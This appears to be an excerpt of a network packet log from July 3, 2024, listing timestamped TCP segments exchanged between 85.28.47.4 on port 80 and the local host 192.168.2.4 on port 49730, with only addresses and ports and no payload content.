Jul 3, 2024 23:59:07.490808964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.490808964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.490819931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.490828991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.490832090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.490855932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.490870953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.491036892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491048098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491056919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491065979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491075993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491084099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.491092920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491102934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.491103888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491115093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491123915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.491126060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491137981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491147041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491157055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491166115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491175890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491193056 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.491220951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.491616964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491627932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491637945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491647959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491657019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491667986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491677999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491682053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.491708040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.491725922 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.491906881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491919041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491928101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491941929 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491952896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491962910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491972923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.491975069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.492003918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.492023945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.499269009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.499279976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.499294043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.499304056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.499327898 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.499371052 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.499409914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.499420881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.499435902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.499447107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.499453068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.499490976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.499528885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.499540091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.499548912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.499576092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.499588013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.499664068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.499675035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.499685049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.499710083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.499737978 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.499814034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.499824047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.499834061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.499842882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.499856949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.499862909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.499890089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.499914885 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.499975920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.499986887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.499995947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.500009060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.500017881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.500022888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.500030041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.500045061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.500056028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.500063896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.500092983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.500264883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.500304937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.500308037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.500317097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.500325918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.500354052 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.500365973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.582972050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.582984924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.582995892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583036900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.583067894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.583067894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583081007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583091974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583102942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583117962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.583132029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.583152056 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.583312035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583323956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583333969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583344936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583354950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583364964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583364964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.583376884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583385944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.583410025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.583434105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.583575010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583585978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583595991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583606005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583611965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.583616972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583622932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.583630085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583641052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583646059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.583667994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.583683968 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.583863020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583873987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583884001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583899975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583904028 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.583911896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583926916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583928108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.583937883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583947897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583956003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.583960056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583970070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583971977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.583981991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.583992004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.583995104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.584006071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.584016085 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.584043026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.584480047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.584496021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.584506035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.584516048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.584527969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.584532976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.584542036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.584546089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.584558010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.584568024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.584569931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.584578991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.584589005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.584595919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.584599972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.584610939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.584611893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.584624052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.584626913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.584651947 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.584672928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.584963083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.584974051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.584984064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.584994078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585004091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585005999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.585015059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585025072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585035086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.585035086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585042953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.585047007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585057974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585068941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.585095882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.585103035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585114956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585130930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585140944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585146904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.585151911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585163116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.585163116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585175037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585185051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585186958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.585196018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585206985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585213900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.585217953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585235119 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.585242987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.585267067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.585396051 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.585509062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.585851908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585864067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585874081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585885048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585890055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.585896015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585906982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585915089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.585917950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.585942030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.585952997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.586118937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.586129904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.586139917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.586149931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.586159945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.586162090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.586170912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.586180925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.586191893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.586201906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.586222887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.593384981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.593411922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.593420982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.593440056 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.593458891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.593517065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.593528032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.593539000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.593549013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.593559980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.593570948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.593596935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.593652964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.593663931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.593700886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.593713045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.593803883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.593821049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.593831062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.593841076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.593844891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.593856096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.593866110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.593868971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.593888998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.593893051 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.593911886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.593933105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.594100952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.594111919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.594146013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.594212055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.594221115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.594232082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.594242096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.594253063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.594263077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.594263077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.594273090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.594283104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.594285965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.594297886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.594307899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.594307899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.594315052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.594331026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.594348907 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.597001076 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.604312897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.676908016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.676929951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.676939011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.676975012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.676983118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.677006006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.677028894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677040100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.677042007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677073956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.677135944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677146912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677156925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677167892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677170038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.677170038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.677205086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.677282095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677294970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677304983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677328110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.677351952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.677356958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677369118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677378893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677391052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677397966 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.677402020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677418947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677421093 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.677431107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677447081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.677464962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.677622080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677639961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677660942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.677683115 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.677736044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677747011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677774906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.677786112 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.677855015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677865028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677875996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677886009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677896023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.677898884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.677926064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.677936077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.678024054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678042889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678052902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678062916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.678065062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.678081036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.678097010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.678169012 CEST	80	49730	85.28.47.4	192.168.2.4
